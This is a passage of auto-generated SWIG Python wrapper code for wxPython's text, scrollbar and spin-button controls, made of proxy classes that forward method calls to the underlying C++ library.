= _controls_.TEXT_TYPE_ANY\nclass TextAttr(object):\n \"\"\"Proxy of C++ TextAttr class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Colour colText=wxNullColour, Colour colBack=wxNullColour, \n Font font=wxNullFont, int alignment=TEXT_ALIGNMENT_DEFAULT) -> TextAttr\n \"\"\"\n _controls_.TextAttr_swiginit(self,_controls_.new_TextAttr(*args, **kwargs))\n __swig_destroy__ = _controls_.delete_TextAttr\n __del__ = lambda self : None;\n def Init(*args, **kwargs):\n \"\"\"Init(self)\"\"\"\n return _controls_.TextAttr_Init(*args, **kwargs)\n\n def Merge(*args, **kwargs):\n \"\"\"Merge(TextAttr base, TextAttr overlay) -> TextAttr\"\"\"\n return _controls_.TextAttr_Merge(*args, **kwargs)\n\n Merge = staticmethod(Merge)\n def SetTextColour(*args, **kwargs):\n \"\"\"SetTextColour(self, Colour colText)\"\"\"\n return _controls_.TextAttr_SetTextColour(*args, **kwargs)\n\n def SetBackgroundColour(*args, **kwargs):\n \"\"\"SetBackgroundColour(self, Colour colBack)\"\"\"\n return _controls_.TextAttr_SetBackgroundColour(*args, **kwargs)\n\n def SetFont(*args, **kwargs):\n \"\"\"SetFont(self, Font font, long flags=TEXT_ATTR_FONT)\"\"\"\n return _controls_.TextAttr_SetFont(*args, **kwargs)\n\n def SetAlignment(*args, **kwargs):\n \"\"\"SetAlignment(self, int alignment)\"\"\"\n return _controls_.TextAttr_SetAlignment(*args, **kwargs)\n\n def SetTabs(*args, **kwargs):\n \"\"\"SetTabs(self, wxArrayInt tabs)\"\"\"\n return _controls_.TextAttr_SetTabs(*args, **kwargs)\n\n def SetLeftIndent(*args, **kwargs):\n \"\"\"SetLeftIndent(self, int indent, int subIndent=0)\"\"\"\n return _controls_.TextAttr_SetLeftIndent(*args, **kwargs)\n\n def SetRightIndent(*args, **kwargs):\n \"\"\"SetRightIndent(self, int indent)\"\"\"\n return _controls_.TextAttr_SetRightIndent(*args, **kwargs)\n\n def SetFlags(*args, **kwargs):\n \"\"\"SetFlags(self, long flags)\"\"\"\n return _controls_.TextAttr_SetFlags(*args, **kwargs)\n\n def HasTextColour(*args, **kwargs):\n \"\"\"HasTextColour(self) -> bool\"\"\"\n return _controls_.TextAttr_HasTextColour(*args, **kwargs)\n\n def HasBackgroundColour(*args, **kwargs):\n \"\"\"HasBackgroundColour(self) -> bool\"\"\"\n return _controls_.TextAttr_HasBackgroundColour(*args, **kwargs)\n\n def HasFont(*args, **kwargs):\n \"\"\"HasFont(self) -> bool\"\"\"\n return _controls_.TextAttr_HasFont(*args, **kwargs)\n\n def HasAlignment(*args, **kwargs):\n \"\"\"HasAlignment(self) -> bool\"\"\"\n return _controls_.TextAttr_HasAlignment(*args, **kwargs)\n\n def HasTabs(*args, **kwargs):\n \"\"\"HasTabs(self) -> bool\"\"\"\n return _controls_.TextAttr_HasTabs(*args, **kwargs)\n\n def HasLeftIndent(*args, **kwargs):\n \"\"\"HasLeftIndent(self) -> bool\"\"\"\n return _controls_.TextAttr_HasLeftIndent(*args, **kwargs)\n\n def HasRightIndent(*args, **kwargs):\n \"\"\"HasRightIndent(self) -> bool\"\"\"\n return _controls_.TextAttr_HasRightIndent(*args, **kwargs)\n\n def HasFlag(*args, **kwargs):\n \"\"\"HasFlag(self, long flag) -> bool\"\"\"\n return _controls_.TextAttr_HasFlag(*args, **kwargs)\n\n def GetTextColour(*args, **kwargs):\n \"\"\"GetTextColour(self) -> Colour\"\"\"\n return _controls_.TextAttr_GetTextColour(*args, **kwargs)\n\n def GetBackgroundColour(*args, **kwargs):\n \"\"\"GetBackgroundColour(self) -> Colour\"\"\"\n return _controls_.TextAttr_GetBackgroundColour(*args, **kwargs)\n\n def GetFont(*args, **kwargs):\n \"\"\"GetFont(self) -> Font\"\"\"\n return _controls_.TextAttr_GetFont(*args, **kwargs)\n\n def GetAlignment(*args, **kwargs):\n \"\"\"GetAlignment(self) -> int\"\"\"\n return _controls_.TextAttr_GetAlignment(*args, **kwargs)\n\n def GetTabs(*args, **kwargs):\n \"\"\"GetTabs(self) -> wxArrayInt\"\"\"\n return _controls_.TextAttr_GetTabs(*args, **kwargs)\n\n def GetLeftIndent(*args, **kwargs):\n \"\"\"GetLeftIndent(self) -> long\"\"\"\n return _controls_.TextAttr_GetLeftIndent(*args, **kwargs)\n\n def GetLeftSubIndent(*args, **kwargs):\n \"\"\"GetLeftSubIndent(self) -> long\"\"\"\n return _controls_.TextAttr_GetLeftSubIndent(*args, **kwargs)\n\n def GetRightIndent(*args, **kwargs):\n \"\"\"GetRightIndent(self) -> long\"\"\"\n return _controls_.TextAttr_GetRightIndent(*args, **kwargs)\n\n def GetFlags(*args, **kwargs):\n \"\"\"GetFlags(self) -> long\"\"\"\n return _controls_.TextAttr_GetFlags(*args, **kwargs)\n\n def IsDefault(*args, **kwargs):\n \"\"\"IsDefault(self) -> bool\"\"\"\n return _controls_.TextAttr_IsDefault(*args, **kwargs)\n\n def Combine(*args, **kwargs):\n \"\"\"Combine(TextAttr attr, TextAttr attrDef, TextCtrl text) -> TextAttr\"\"\"\n return _controls_.TextAttr_Combine(*args, **kwargs)\n\n Combine = staticmethod(Combine)\n Alignment = property(GetAlignment,SetAlignment,doc=\"See `GetAlignment` and `SetAlignment`\") \n BackgroundColour = property(GetBackgroundColour,SetBackgroundColour,doc=\"See `GetBackgroundColour` and `SetBackgroundColour`\") \n Flags = property(GetFlags,SetFlags,doc=\"See `GetFlags` and `SetFlags`\") \n Font = property(GetFont,SetFont,doc=\"See `GetFont` and `SetFont`\") \n LeftIndent = property(GetLeftIndent,SetLeftIndent,doc=\"See `GetLeftIndent` and `SetLeftIndent`\") \n LeftSubIndent = property(GetLeftSubIndent,doc=\"See `GetLeftSubIndent`\") \n RightIndent = property(GetRightIndent,SetRightIndent,doc=\"See `GetRightIndent` and `SetRightIndent`\") \n Tabs = property(GetTabs,SetTabs,doc=\"See `GetTabs` and `SetTabs`\") \n TextColour = property(GetTextColour,SetTextColour,doc=\"See `GetTextColour` and `SetTextColour`\") \n_controls_.TextAttr_swigregister(TextAttr)\nTextCtrlNameStr = cvar.TextCtrlNameStr\n\ndef TextAttr_Merge(*args, **kwargs):\n \"\"\"TextAttr_Merge(TextAttr base, TextAttr overlay) -> TextAttr\"\"\"\n return _controls_.TextAttr_Merge(*args, **kwargs)\n\ndef TextAttr_Combine(*args, **kwargs):\n \"\"\"TextAttr_Combine(TextAttr attr, TextAttr attrDef, TextCtrl text) -> TextAttr\"\"\"\n return _controls_.TextAttr_Combine(*args, **kwargs)\n\nclass TextCtrl(_core.Control):\n \"\"\"Proxy of C++ TextCtrl class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, String value=EmptyString, \n Point pos=DefaultPosition, Size size=DefaultSize, \n long style=0, Validator validator=DefaultValidator, \n String name=TextCtrlNameStr) -> TextCtrl\n \"\"\"\n _controls_.TextCtrl_swiginit(self,_controls_.new_TextCtrl(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id=-1, String value=EmptyString, \n Point pos=DefaultPosition, Size size=DefaultSize, \n long style=0, Validator validator=DefaultValidator, \n String name=TextCtrlNameStr) -> bool\n \"\"\"\n return _controls_.TextCtrl_Create(*args, **kwargs)\n\n def GetValue(*args, **kwargs):\n \"\"\"GetValue(self) -> String\"\"\"\n return _controls_.TextCtrl_GetValue(*args, **kwargs)\n\n def SetValue(*args, **kwargs):\n \"\"\"SetValue(self, String value)\"\"\"\n return _controls_.TextCtrl_SetValue(*args, **kwargs)\n\n def IsEmpty(*args, **kwargs):\n \"\"\"IsEmpty(self) -> bool\"\"\"\n return _controls_.TextCtrl_IsEmpty(*args, **kwargs)\n\n def ChangeValue(*args, **kwargs):\n \"\"\"ChangeValue(self, String value)\"\"\"\n return _controls_.TextCtrl_ChangeValue(*args, **kwargs)\n\n def GetRange(*args, **kwargs):\n \"\"\"GetRange(self, long from, long to) -> String\"\"\"\n return _controls_.TextCtrl_GetRange(*args, **kwargs)\n\n def GetLineLength(*args, **kwargs):\n \"\"\"GetLineLength(self, long lineNo) -> int\"\"\"\n return _controls_.TextCtrl_GetLineLength(*args, **kwargs)\n\n def GetLineText(*args, **kwargs):\n \"\"\"GetLineText(self, long lineNo) -> String\"\"\"\n return _controls_.TextCtrl_GetLineText(*args, **kwargs)\n\n def GetNumberOfLines(*args, **kwargs):\n \"\"\"GetNumberOfLines(self) -> int\"\"\"\n return _controls_.TextCtrl_GetNumberOfLines(*args, **kwargs)\n\n def IsModified(*args, **kwargs):\n \"\"\"IsModified(self) -> bool\"\"\"\n return _controls_.TextCtrl_IsModified(*args, **kwargs)\n\n def IsEditable(*args, **kwargs):\n \"\"\"IsEditable(self) -> bool\"\"\"\n return _controls_.TextCtrl_IsEditable(*args, **kwargs)\n\n def IsSingleLine(*args, **kwargs):\n \"\"\"IsSingleLine(self) -> bool\"\"\"\n return _controls_.TextCtrl_IsSingleLine(*args, **kwargs)\n\n def IsMultiLine(*args, **kwargs):\n \"\"\"IsMultiLine(self) -> bool\"\"\"\n return _controls_.TextCtrl_IsMultiLine(*args, **kwargs)\n\n def GetSelection(*args, **kwargs):\n \"\"\"\n GetSelection() -> (from, to)\n\n If the return values from and to are the same, there is no selection.\n \"\"\"\n return _controls_.TextCtrl_GetSelection(*args, **kwargs)\n\n def GetStringSelection(*args, **kwargs):\n \"\"\"GetStringSelection(self) -> String\"\"\"\n return _controls_.TextCtrl_GetStringSelection(*args, **kwargs)\n\n def Clear(*args, **kwargs):\n \"\"\"Clear(self)\"\"\"\n return _controls_.TextCtrl_Clear(*args, **kwargs)\n\n def Replace(*args, **kwargs):\n \"\"\"Replace(self, long from, long to, String value)\"\"\"\n return _controls_.TextCtrl_Replace(*args, **kwargs)\n\n def Remove(*args, **kwargs):\n \"\"\"Remove(self, long from, long to)\"\"\"\n return _controls_.TextCtrl_Remove(*args, **kwargs)\n\n def LoadFile(*args, **kwargs):\n \"\"\"LoadFile(self, String file, int fileType=TEXT_TYPE_ANY) -> bool\"\"\"\n return _controls_.TextCtrl_LoadFile(*args, **kwargs)\n\n def SaveFile(*args, **kwargs):\n \"\"\"SaveFile(self, String file=EmptyString, int fileType=TEXT_TYPE_ANY) -> bool\"\"\"\n return _controls_.TextCtrl_SaveFile(*args, **kwargs)\n\n def MarkDirty(*args, **kwargs):\n \"\"\"MarkDirty(self)\"\"\"\n return _controls_.TextCtrl_MarkDirty(*args, **kwargs)\n\n def DiscardEdits(*args, **kwargs):\n \"\"\"DiscardEdits(self)\"\"\"\n return _controls_.TextCtrl_DiscardEdits(*args, **kwargs)\n\n def SetModified(*args, **kwargs):\n \"\"\"SetModified(self, bool modified)\"\"\"\n return _controls_.TextCtrl_SetModified(*args, **kwargs)\n\n def SetMaxLength(*args, **kwargs):\n \"\"\"SetMaxLength(self, unsigned long len)\"\"\"\n return _controls_.TextCtrl_SetMaxLength(*args, **kwargs)\n\n def WriteText(*args, **kwargs):\n \"\"\"WriteText(self, String text)\"\"\"\n return _controls_.TextCtrl_WriteText(*args, **kwargs)\n\n def AppendText(*args, **kwargs):\n \"\"\"AppendText(self, String text)\"\"\"\n return _controls_.TextCtrl_AppendText(*args, **kwargs)\n\n def EmulateKeyPress(*args, **kwargs):\n \"\"\"EmulateKeyPress(self, KeyEvent event) -> bool\"\"\"\n return _controls_.TextCtrl_EmulateKeyPress(*args, **kwargs)\n\n def SetStyle(*args, **kwargs):\n \"\"\"SetStyle(self, long start, long end, TextAttr style) -> bool\"\"\"\n return _controls_.TextCtrl_SetStyle(*args, **kwargs)\n\n def GetStyle(*args, **kwargs):\n \"\"\"GetStyle(self, long position, TextAttr style) -> bool\"\"\"\n return _controls_.TextCtrl_GetStyle(*args, **kwargs)\n\n def SetDefaultStyle(*args, **kwargs):\n \"\"\"SetDefaultStyle(self, TextAttr style) -> bool\"\"\"\n return _controls_.TextCtrl_SetDefaultStyle(*args, **kwargs)\n\n def GetDefaultStyle(*args, **kwargs):\n \"\"\"GetDefaultStyle(self) -> TextAttr\"\"\"\n return _controls_.TextCtrl_GetDefaultStyle(*args, **kwargs)\n\n def XYToPosition(*args, **kwargs):\n \"\"\"XYToPosition(self, long x, long y) -> long\"\"\"\n return _controls_.TextCtrl_XYToPosition(*args, **kwargs)\n\n def PositionToXY(*args, **kwargs):\n \"\"\"PositionToXY(long pos) -> (x, y)\"\"\"\n return _controls_.TextCtrl_PositionToXY(*args, **kwargs)\n\n def ShowPosition(*args, **kwargs):\n \"\"\"ShowPosition(self, long pos)\"\"\"\n return _controls_.TextCtrl_ShowPosition(*args, **kwargs)\n\n def HitTest(*args, **kwargs):\n \"\"\"\n HitTest(Point pt) -> (result, col, row)\n\n Find the row, col coresponding to the character at the point given in\n pixels. NB: pt is in device coords but is not adjusted for the client\n area origin nor scrolling.\n \"\"\"\n return _controls_.TextCtrl_HitTest(*args, **kwargs)\n\n def HitTestPos(*args, **kwargs):\n \"\"\"\n HitTestPos(Point pt) -> (result, position)\n\n Find the character position in the text coresponding to the point\n given in pixels. NB: pt is in device coords but is not adjusted for\n the client area origin nor scrolling. \n \"\"\"\n return _controls_.TextCtrl_HitTestPos(*args, **kwargs)\n\n def Copy(*args, **kwargs):\n \"\"\"Copy(self)\"\"\"\n return _controls_.TextCtrl_Copy(*args, **kwargs)\n\n def Cut(*args, **kwargs):\n \"\"\"Cut(self)\"\"\"\n return _controls_.TextCtrl_Cut(*args, **kwargs)\n\n def Paste(*args, **kwargs):\n \"\"\"Paste(self)\"\"\"\n return _controls_.TextCtrl_Paste(*args, **kwargs)\n\n def CanCopy(*args, **kwargs):\n \"\"\"CanCopy(self) -> bool\"\"\"\n return _controls_.TextCtrl_CanCopy(*args, **kwargs)\n\n def CanCut(*args, **kwargs):\n \"\"\"CanCut(self) -> bool\"\"\"\n return _controls_.TextCtrl_CanCut(*args, **kwargs)\n\n def CanPaste(*args, **kwargs):\n \"\"\"CanPaste(self) -> bool\"\"\"\n return _controls_.TextCtrl_CanPaste(*args, **kwargs)\n\n def Undo(*args, **kwargs):\n \"\"\"Undo(self)\"\"\"\n return _controls_.TextCtrl_Undo(*args, **kwargs)\n\n def Redo(*args, **kwargs):\n \"\"\"Redo(self)\"\"\"\n return _controls_.TextCtrl_Redo(*args, **kwargs)\n\n def CanUndo(*args, **kwargs):\n \"\"\"CanUndo(self) -> bool\"\"\"\n return _controls_.TextCtrl_CanUndo(*args, **kwargs)\n\n def CanRedo(*args, **kwargs):\n \"\"\"CanRedo(self) -> bool\"\"\"\n return _controls_.TextCtrl_CanRedo(*args, **kwargs)\n\n def SetInsertionPoint(*args, **kwargs):\n \"\"\"SetInsertionPoint(self, long pos)\"\"\"\n return _controls_.TextCtrl_SetInsertionPoint(*args, **kwargs)\n\n def SetInsertionPointEnd(*args, **kwargs):\n \"\"\"SetInsertionPointEnd(self)\"\"\"\n return _controls_.TextCtrl_SetInsertionPointEnd(*args, **kwargs)\n\n def GetInsertionPoint(*args, **kwargs):\n \"\"\"GetInsertionPoint(self) -> long\"\"\"\n return _controls_.TextCtrl_GetInsertionPoint(*args, **kwargs)\n\n def GetLastPosition(*args, **kwargs):\n \"\"\"GetLastPosition(self) -> long\"\"\"\n return _controls_.TextCtrl_GetLastPosition(*args, **kwargs)\n\n def SetSelection(*args, **kwargs):\n \"\"\"SetSelection(self, long from, long to)\"\"\"\n return _controls_.TextCtrl_SetSelection(*args, **kwargs)\n\n def SelectAll(*args, **kwargs):\n \"\"\"SelectAll(self)\"\"\"\n return _controls_.TextCtrl_SelectAll(*args, **kwargs)\n\n def SetEditable(*args, **kwargs):\n \"\"\"SetEditable(self, bool editable)\"\"\"\n return _controls_.TextCtrl_SetEditable(*args, **kwargs)\n\n def MacCheckSpelling(*args, **kwargs):\n \"\"\"MacCheckSpelling(self, bool check)\"\"\"\n return _controls_.TextCtrl_MacCheckSpelling(*args, **kwargs)\n\n def SendTextUpdatedEvent(*args, **kwargs):\n \"\"\"SendTextUpdatedEvent(self)\"\"\"\n return _controls_.TextCtrl_SendTextUpdatedEvent(*args, **kwargs)\n\n def ShowNativeCaret(*args, **kwargs):\n \"\"\"ShowNativeCaret(self, bool show=True) -> bool\"\"\"\n return _controls_.TextCtrl_ShowNativeCaret(*args, **kwargs)\n\n def HideNativeCaret(*args, **kwargs):\n \"\"\"HideNativeCaret(self) -> bool\"\"\"\n return _controls_.TextCtrl_HideNativeCaret(*args, **kwargs)\n\n def write(*args, **kwargs):\n \"\"\"write(self, String text)\"\"\"\n return _controls_.TextCtrl_write(*args, **kwargs)\n\n def GetString(*args, **kwargs):\n \"\"\"GetString(self, long from, long to) -> String\"\"\"\n return _controls_.TextCtrl_GetString(*args, **kwargs)\n\n def GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.TextCtrl_GetClassDefaultAttributes(*args, **kwargs)\n\n GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)\n DefaultStyle = property(GetDefaultStyle,SetDefaultStyle,doc=\"See `GetDefaultStyle` and `SetDefaultStyle`\") \n InsertionPoint = property(GetInsertionPoint,SetInsertionPoint,doc=\"See `GetInsertionPoint` and `SetInsertionPoint`\") \n LastPosition = property(GetLastPosition,doc=\"See `GetLastPosition`\") \n NumberOfLines = property(GetNumberOfLines,doc=\"See `GetNumberOfLines`\") \n Selection = property(GetSelection,SetSelection,doc=\"See `GetSelection` and `SetSelection`\") \n StringSelection = property(GetStringSelection,doc=\"See `GetStringSelection`\") \n Value = property(GetValue,SetValue,doc=\"See `GetValue` and `SetValue`\") \n_controls_.TextCtrl_swigregister(TextCtrl)\n\ndef PreTextCtrl(*args, **kwargs):\n \"\"\"PreTextCtrl() -> TextCtrl\"\"\"\n val = _controls_.new_PreTextCtrl(*args, **kwargs)\n return val\n\ndef TextCtrl_GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n TextCtrl_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.TextCtrl_GetClassDefaultAttributes(*args, **kwargs)\n\nwxEVT_COMMAND_TEXT_UPDATED = _controls_.wxEVT_COMMAND_TEXT_UPDATED\nwxEVT_COMMAND_TEXT_ENTER = _controls_.wxEVT_COMMAND_TEXT_ENTER\nwxEVT_COMMAND_TEXT_URL = _controls_.wxEVT_COMMAND_TEXT_URL\nwxEVT_COMMAND_TEXT_MAXLEN = _controls_.wxEVT_COMMAND_TEXT_MAXLEN\nclass TextUrlEvent(_core.CommandEvent):\n \"\"\"Proxy of C++ TextUrlEvent class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"__init__(self, int winid, MouseEvent evtMouse, long start, long end) -> TextUrlEvent\"\"\"\n _controls_.TextUrlEvent_swiginit(self,_controls_.new_TextUrlEvent(*args, **kwargs))\n def GetMouseEvent(*args, **kwargs):\n \"\"\"GetMouseEvent(self) -> MouseEvent\"\"\"\n return _controls_.TextUrlEvent_GetMouseEvent(*args, **kwargs)\n\n def GetURLStart(*args, **kwargs):\n \"\"\"GetURLStart(self) -> long\"\"\"\n return _controls_.TextUrlEvent_GetURLStart(*args, **kwargs)\n\n def GetURLEnd(*args, **kwargs):\n \"\"\"GetURLEnd(self) -> long\"\"\"\n return _controls_.TextUrlEvent_GetURLEnd(*args, **kwargs)\n\n MouseEvent = property(GetMouseEvent,doc=\"See `GetMouseEvent`\") \n URLEnd = property(GetURLEnd,doc=\"See `GetURLEnd`\") \n URLStart = property(GetURLStart,doc=\"See `GetURLStart`\") \n_controls_.TextUrlEvent_swigregister(TextUrlEvent)\n\nEVT_TEXT = wx.PyEventBinder( wxEVT_COMMAND_TEXT_UPDATED, 1)\nEVT_TEXT_ENTER = wx.PyEventBinder( wxEVT_COMMAND_TEXT_ENTER, 1)\nEVT_TEXT_URL = wx.PyEventBinder( wxEVT_COMMAND_TEXT_URL, 1) \nEVT_TEXT_MAXLEN = wx.PyEventBinder( wxEVT_COMMAND_TEXT_MAXLEN, 1)\n\n#---------------------------------------------------------------------------\n\nclass ScrollBar(_core.Control):\n \"\"\"Proxy of C++ ScrollBar class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, Point pos=DefaultPosition, \n Size size=DefaultSize, long style=SB_HORIZONTAL, \n Validator validator=DefaultValidator, String name=ScrollBarNameStr) -> ScrollBar\n \"\"\"\n _controls_.ScrollBar_swiginit(self,_controls_.new_ScrollBar(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id=-1, Point pos=DefaultPosition, \n Size size=DefaultSize, long style=SB_HORIZONTAL, \n Validator validator=DefaultValidator, String name=ScrollBarNameStr) -> bool\n\n Do the 2nd phase and create the GUI control.\n \"\"\"\n return _controls_.ScrollBar_Create(*args, **kwargs)\n\n def GetThumbPosition(*args, **kwargs):\n \"\"\"GetThumbPosition(self) -> int\"\"\"\n return _controls_.ScrollBar_GetThumbPosition(*args, **kwargs)\n\n def GetThumbSize(*args, **kwargs):\n \"\"\"GetThumbSize(self) -> int\"\"\"\n return _controls_.ScrollBar_GetThumbSize(*args, **kwargs)\n\n GetThumbLength = GetThumbSize \n def GetPageSize(*args, **kwargs):\n \"\"\"GetPageSize(self) -> int\"\"\"\n return _controls_.ScrollBar_GetPageSize(*args, **kwargs)\n\n def GetRange(*args, **kwargs):\n \"\"\"GetRange(self) -> int\"\"\"\n return _controls_.ScrollBar_GetRange(*args, **kwargs)\n\n def IsVertical(*args, **kwargs):\n \"\"\"IsVertical(self) -> bool\"\"\"\n return _controls_.ScrollBar_IsVertical(*args, **kwargs)\n\n def SetThumbPosition(*args, **kwargs):\n \"\"\"SetThumbPosition(self, int viewStart)\"\"\"\n return _controls_.ScrollBar_SetThumbPosition(*args, **kwargs)\n\n def GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.ScrollBar_GetClassDefaultAttributes(*args, **kwargs)\n\n GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)\n PageSize = property(GetPageSize,doc=\"See `GetPageSize`\") \n Range = property(GetRange,doc=\"See `GetRange`\") \n ThumbPosition = property(GetThumbPosition,SetThumbPosition,doc=\"See `GetThumbPosition` and `SetThumbPosition`\") \n ThumbSize = property(GetThumbSize,doc=\"See `GetThumbSize`\") \n_controls_.ScrollBar_swigregister(ScrollBar)\nScrollBarNameStr = cvar.ScrollBarNameStr\n\ndef PreScrollBar(*args, **kwargs):\n \"\"\"PreScrollBar() -> ScrollBar\"\"\"\n val = _controls_.new_PreScrollBar(*args, **kwargs)\n return val\n\ndef ScrollBar_GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n ScrollBar_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.ScrollBar_GetClassDefaultAttributes(*args, **kwargs)\n\n#---------------------------------------------------------------------------\n\nSP_HORIZONTAL = _controls_.SP_HORIZONTAL\nSP_VERTICAL = _controls_.SP_VERTICAL\nSP_ARROW_KEYS = _controls_.SP_ARROW_KEYS\nSP_WRAP = _controls_.SP_WRAP\nclass SpinButton(_core.Control):\n \"\"\"Proxy of C++ SpinButton class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, Point pos=DefaultPosition, \n Size size=DefaultSize, long style=SP_HORIZONTAL, \n String name=SPIN_BUTTON_NAME) -> SpinButton\n \"\"\"\n _controls_.SpinButton_swiginit(self,_controls_.new_SpinButton(*args, **kwargs))\n self._setOORInfo(self)\n\n def Create(*args, **kwargs):\n \"\"\"\n Create(self, Window parent, int id=-1, Point pos=DefaultPosition, \n Size size=DefaultSize, long style=SP_HORIZONTAL, \n String name=SPIN_BUTTON_NAME) -> bool\n \"\"\"\n return _controls_.SpinButton_Create(*args, **kwargs)\n\n def GetValue(*args, **kwargs):\n \"\"\"GetValue(self) -> int\"\"\"\n return _controls_.SpinButton_GetValue(*args, **kwargs)\n\n def GetMin(*args, **kwargs):\n \"\"\"GetMin(self) -> int\"\"\"\n return _controls_.SpinButton_GetMin(*args, **kwargs)\n\n def GetMax(*args, **kwargs):\n \"\"\"GetMax(self) -> int\"\"\"\n return _controls_.SpinButton_GetMax(*args, **kwargs)\n\n def SetValue(*args, **kwargs):\n \"\"\"SetValue(self, int val)\"\"\"\n return _controls_.SpinButton_SetValue(*args, **kwargs)\n\n def SetMin(*args, **kwargs):\n \"\"\"SetMin(self, int minVal)\"\"\"\n return _controls_.SpinButton_SetMin(*args, **kwargs)\n\n def SetMax(*args, **kwargs):\n \"\"\"SetMax(self, int maxVal)\"\"\"\n return _controls_.SpinButton_SetMax(*args, **kwargs)\n\n def SetRange(*args, **kwargs):\n \"\"\"SetRange(self, int minVal, int maxVal)\"\"\"\n return _controls_.SpinButton_SetRange(*args, **kwargs)\n\n def IsVertical(*args, **kwargs):\n \"\"\"IsVertical(self) -> bool\"\"\"\n return _controls_.SpinButton_IsVertical(*args, **kwargs)\n\n def GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.SpinButton_GetClassDefaultAttributes(*args, **kwargs)\n\n GetClassDefaultAttributes = staticmethod(GetClassDefaultAttributes)\n Max = property(GetMax,SetMax,doc=\"See `GetMax` and `SetMax`\") \n Min = property(GetMin,SetMin,doc=\"See `GetMin` and `SetMin`\") \n Value = property(GetValue,SetValue,doc=\"See `GetValue` and `SetValue`\") \n_controls_.SpinButton_swigregister(SpinButton)\nSPIN_BUTTON_NAME = cvar.SPIN_BUTTON_NAME\nSpinCtrlNameStr = cvar.SpinCtrlNameStr\n\ndef PreSpinButton(*args, **kwargs):\n \"\"\"PreSpinButton() -> SpinButton\"\"\"\n val = _controls_.new_PreSpinButton(*args, **kwargs)\n return val\n\ndef SpinButton_GetClassDefaultAttributes(*args, **kwargs):\n \"\"\"\n SpinButton_GetClassDefaultAttributes(int variant=WINDOW_VARIANT_NORMAL) -> VisualAttributes\n\n Get the default attributes for this class. This is useful if you want\n to use the same font or colour in your own control as in a standard\n control -- which is a much better idea than hard coding specific\n colours or fonts which might look completely out of place on the\n user's system, especially if it uses themes.\n\n The variant parameter is only relevant under Mac currently and is\n ignore under other platforms. Under Mac, it will change the size of\n the returned font. See `wx.Window.SetWindowVariant` for more about\n this.\n \"\"\"\n return _controls_.SpinButton_GetClassDefaultAttributes(*args, **kwargs)\n\nclass SpinCtrl(_core.Control):\n \"\"\"Proxy of C++ SpinCtrl class\"\"\"\n thisown = property(lambda x: x.this.own(), lambda x, v: x.this.own(v), doc='The membership flag')\n __repr__ = _swig_repr\n def __init__(self, *args, **kwargs): \n \"\"\"\n __init__(self, Window parent, int id=-1, String value=EmptyString, \n Point pos=DefaultPosition, Size size=DefaultSize, \n long style=SP_ARROW_KEYS, int min=0, int max=100, \n int initial=0, String name=SpinCtrlNameStr) -> SpinCtrl\n \"\"\"\n _controls_.SpinCtrl_swiginit(self,_controls_.new_SpinCtrl(*args, **kwargs))\n 